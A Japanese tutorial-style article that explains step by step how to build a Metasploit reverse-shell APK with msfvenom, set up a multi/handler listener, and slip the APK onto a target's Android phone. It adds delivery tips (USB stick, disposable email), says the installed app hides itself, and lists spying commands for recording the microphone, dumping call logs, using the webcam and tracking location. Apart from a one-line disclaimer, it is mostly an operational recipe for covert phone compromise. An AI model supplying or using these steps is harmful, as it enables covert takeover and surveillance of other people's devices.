Kali Linuxを使ってAndroidスマホにアクセスする方法【Metasploit実践解説】
Androidスマートフォンは、多くの市販IoT機器への入り口となっています。Nestの煙感知器は専用のAndroidアプリで管理され、Nestサーモスタットも温度調整をアプリから行えます。スマートロックや玄関カメラなど、ほぼすべてのスマートデバイスがAlexaなどのマスターアプリから操作可能です。では、もし第三者がこうしたAndroidスマホへリモートアクセスできてしまったらどうなるでしょうか。「そんなことはあり得ない」と思っていませんか?本記事では、Kali Linuxの「Metasploit」を使ってAndroidスマホにバックドアを作成する仕組みを、基本的なデモ形式で解説します。
注意:本チュートリアルはセキュリティ研究者および愛好家向けの教育目的です。許可なく他人のスマホに侵入することは違法行為であり、絶対に行わないでください。
前提知識
Kali Linuxでの作業を始める前に、まずコンソール端末(ターミナル)の操作に慣れておく必要があります。
Kali Linuxには、デバイスのファームウェアやOSを標的とするためのツールが網羅的に収録されています。
ここでは、代表的なツールの一つ「MSFVenom」を使用して、Androidスマホにウイルス(ペイロード)を挿入する方法を紹介します。MSFVenomは、ユーザーが選択したオプションに基づいて多種多様なペイロードを生成できるツールです。このエクスプロイトは、Windows、Android、OpenBSD、Solaris、Java、PHP、さらにはゲーム機向けハードウェアまで、幅広いプラットフォームに対応しています。
Android向けMetasploitの起動
以下の手順で、Kali Linuxシステム上にMSFVenomを準備する流れを解説します。
まずターミナルを起動し、次のコマンドを入力します。
msfvenom -p android/meterpreter/reverse_tcp LHOST=IPアドレス LPORT=ポート番号 R > /root/保存先/hackand.apk
ここでは、「Meterpreter」と呼ばれるエクスプロイト拡張機能を使ってペイロードを起動しています。
リスナー側ホストのIPアドレスを確認するには、新しいコンソール端末を開いてifconfigコマンドを実行します。なお、トロイの木馬やエクスプロイト、ウイルスには通常、ポート4444が割り当てられるのが一般的です。
IPアドレスが判明したら、元の画面に戻って詳細情報を入力します。
ファイル「hackand.apk」はデスクトップに保存され、これがAndroidスマホ上で使用されるメインのバックドア型エクスプロイトとなります。
次のステップでは、Kali Linuxで広く使われているペネトレーションテストツール「msfconsole」を起動します。そのために、まずservice postgresql startを実行し、続けてmsfconsoleと入力します。PostgreSQLとは、コンソールのデータが格納されているデータベースのことです。
ペネトレーションツールの準備が整ったら、残りのエクスプロイトを起動できます。
続いて、「multi-handler」という実行モジュールを使用します。
use multi/handler
下の画像を参考に、エクスプロイトとコンソールを接続してください。ここでも同じIPアドレスとポート番号を使用します。
最後に、シンプルなexploitコマンドでmsfvenomエクスプロイトを起動・初期化します。これで準備完了です。次はターゲットとなるAndroidスマホを見つける段階に入ります。
Kali Linux端末とAndroidスマホの接続
先ほど作成したhackand.apkファイルのサイズはわずか10KB程度です。このファイルを何らかの方法でターゲットのスマホに送り込む必要があります。転送手段としては、USBメモリや使い捨てのメールサービスなどが考えられます。
ただし、GmailやYahoo!メールといった一般的なWebメールプロバイダは、ウイルス感染ファイルの送信を拒否することがほとんどです。
Androidはソフトウェアのインストール前に警告を表示します。しかし、インストール自体は「リスクを無視してインストール」を選ぶだけで20秒足らずで完了してしまいます。つまり、スマホのロックが解除された状態であれば、この脅威はかなり深刻だと言えるでしょう。
ご覧のとおり、このマルウェアはストレージ内のデータ改ざん、スリープ状態への移行阻止、Wi-Fiへの接続・切断、壁紙の変更など、スマホに多大な被害をもたらす可能性があります。
APKファイルがインストールされると、アプリはスマホ内に巧妙に偽装されて隠されます。
これで、Kali Linuxのターミナルから次のようなコマンドを使ってスマホを遠隔操作できるようになります。コマンドを暗記する必要はありません。meterpreterのhelpオプションで一覧をいつでも確認できます。
record_mic:マイクを録音するdump_calllog:通話履歴を取得するwebcam_chat:ビデオチャットを開始するgeolocate:スマホの現在地を取得する
なお、近年の高性能なAndroidスマホの多くは、こうした悪意あるアプリのインストールをブロックします。そのため、このエクスプロイトが有効に機能するのは、主に古いモデルのAndroid端末です。
まとめ
本チュートリアルでは、Kali Linuxを使ってAndroidスマートフォンへアクセスする基本的な手法を紹介しました。非常にシンプルなエクスプロイトではありますが、IoTセキュリティの観点から見ると、その示唆するところは非常に大きいと言えます。
Kali Linuxのエクスプロイトについてどう思いますか?ご自身のスマホのセキュリティに対して、より注意を払うようになりましたか?ぜひコメント欄でお聞かせください。
-
PCを使ってAndroidスマホをルート化する完全ガイド|手順・メリット・注意点を徹底解説
Androidはユーザーに高い自由度を与えてくれるOSですが、それでも制限がないわけではありません。例えば、システムアプリについてはユーザーがコントロールできる範囲が狭く、アンインストールすることもバックグラウンドでの動作を止めることもできません。真の力とコントロールを手に入れるには、端末のルート化(root化)が必要です。この記事では、Androidスマホをルート化するメリットと、PCを使ってルート化する具体的な方法を詳しく解説します。 Androidスマホのルート化とは PCを使ったAndroidのルート化は、最も簡単な方法の一つです。複数のソフトウェアやツールキットが作業をサポートして
-
スマホからリモートデスクトップにアクセスする方法|Chrome Remote Desktopの設定手順を徹底解説
昼食に急いで出かけなければならないのに、オフィスのデスクトップPCにアクセスして作業を続けたい——そんな場面に遭遇することはありませんか?また、席を離れている間に同僚から緊急の相談を受けたという経験もあるでしょう。そんなときは、Chrome Remote Desktop(クローム リモート デスクトップ)を使えば、PCとスマートフォンを連携させるだけで簡単に問題を解決できます。具体的な方法を詳しく見ていきましょう。 以下の手順は、PC側とスマートフォン(Android/iPhone)側の2段階で構成されています。ステップ1ではPC側でリモートデスクトップへのアクセス準備を行い、ステップ2ではス